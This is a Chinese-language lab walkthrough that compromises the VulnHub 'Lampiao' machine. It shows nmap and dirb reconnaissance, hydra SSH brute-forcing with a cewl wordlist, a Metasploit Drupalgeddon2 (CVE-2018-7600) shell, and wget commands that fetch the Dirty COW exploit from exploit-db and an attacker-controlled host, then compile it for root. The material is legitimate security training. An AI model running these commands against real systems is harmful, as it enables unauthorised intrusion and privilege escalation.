VulnHub-Lampiao 靶场渗透测试

时间:2021.2.15

靶场信息:
地址:https://www.vulnhub.com/entry/lampiao-1,249/
发布日期:2018年7月28日
目标:得到root权限&找到flag.txt

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.137.0/24

image-20210215101440408

由探测的结果可知,靶机的IP为192.168.137.129

2、扫描开放的端口和服务

nmap -sS -sV -T5 -A -p- 192.168.137.129

image-20210215101740123

得到开放的端口信息:

22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

3、网站信息收集

由于开放了80端口,浏览器探测一下靶机是否有相关的应用程序

image-20210215102022619

打开控制台没发现什么有用的信息,然后用工具扫描了一下,还是没发现什么,接着访问1892端口

image-20210215102337439

进去之后,发现这个页面应该会有有价值的东西,尝试点击这两处链接,大致看了一下,发现两处的url比较相似

image-20210215102603917

image-20210215102622647

应该还存在http://192.168.137.129:1898/?q=node/2,访问看看

image-20210215102729227

这个页面暴露了一些资源,audio.m4a和qrc.png,分别打开看看,这里访问audio.m4a的时候,我的火狐不支持,后来用IE浏览器打开成功了,这是一段语音,语音内容为:user tiago,应该是登录的用户名

image-20210215102915781

image-20210215103114036

访问qrc.png,得到一张二维码,这个二维码扫了之后并没有得到有用的信息,由于对网站的目录结构不是很了解,这里用dirb扫描一下

dirb http://192.168.137.129:1898/ -o out

image-20210215103603151

发现robots.txt,打开之后发现暴露了一些敏感路径和文件

image-20210215103739231

访问http://192.168.137.129:1898/CHANGELOG.txt,得到了网站的版本信息,用的是Drupal 7.54

image-20210215103820191

由于之前在语音里面获取了用户名,密码应该是要靠暴力破解了,这里采用cewl和hydra这两个工具

Cewl介绍

使用命令:

cewl http://192.168.137.129:1898/?q=node/1 -w password.txt

image-20210215105403939

在之前的信息收集中,我们发现靶机开放了22号端口,所以可以使用hydra对ssh进行爆破

hydra -l tiago -P password.txt 192.168.137.129 ssh

image-20210215105747524

得到用户名和密码

用户: tiago
密码: Virgulino

然后进行远程登录

image-20210215110127178

尝试sudo su进行提权,发现失败了

image-20210215110443428

二、漏洞探测

根据之前访问http://192.168.137.129:1898/CHANGELOG.txt,得到了网站用的是Drupal 7.54,通过百度搜索一下是否该版本存在漏洞,发现存在RCE

image-20210215111056031

漏洞的具体情况可以查看:

drupal 7.x RCE 漏洞分析
Drupal 7 - CVE-2018-7600 PoC Writeup

这里我们直接使用msf去提权

image-20210215111721631

image-20210215111827784

执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用 python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

python -c 'import pty;  pty.spawn("/bin/bash")'

image-20210215112055139

image-20210215112732083

可以得出我们的靶机为 ubuntu14.04.5更新时间为16年-8月-05所以存在脏牛(Dirty Cow)漏洞

三、漏洞利用

脏牛(Dirty Cow)漏洞

漏洞名称:脏牛漏洞(Dirty COW)

漏洞编号:CVE-2016-5195

漏洞概述:

  Linux内核的内存子系统的get_user_page内核函数在处理Copy-on-Write(写时拷贝,以下使用COW表示)的过程中,存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞(修改su或者passwd程序就可以达到root的目的)

影响范围:Linux kernel >= 2.6.22(2007年发行,直到2016年10月18日才修复)

漏洞更详细的介绍可以参考:

Dirty COW漏洞原理与简单利用

可以使用wget命令,下载提权exp到靶机:

wget https://www.exploit-db.com/download/40847.cpp

这里我用kali查找相应的提权exp

image-20210215114259233

将exp发送到靶机上

image-20210215114514960

靶机利用wget获取

wget http://192.168.137.150:8888/40847.cpp

image-20210215114656558

c++格式的文件,先编译,编译命令:

 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

参数说明:

    -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
    -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
    -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
    -std=c++11就是用按C++2011标准来编译的
    -pthread 在Linux中要用到多线程时,需要链接pthread库
    -o dcow gcc生成的目标文件,名字为dcow

四、提权

执行生成的可执行文件

image-20210215115545133

获得了root密码之后,切换为root用户登录,查看flag

image-20210215115735648

总结

再一次扩展了知识面,理解了脏牛(Dirty Cow)漏洞的原理,以及利用

posted @ 2021-02-15 12:02  l2sec  阅读(242)  评论(0编辑  收藏  举报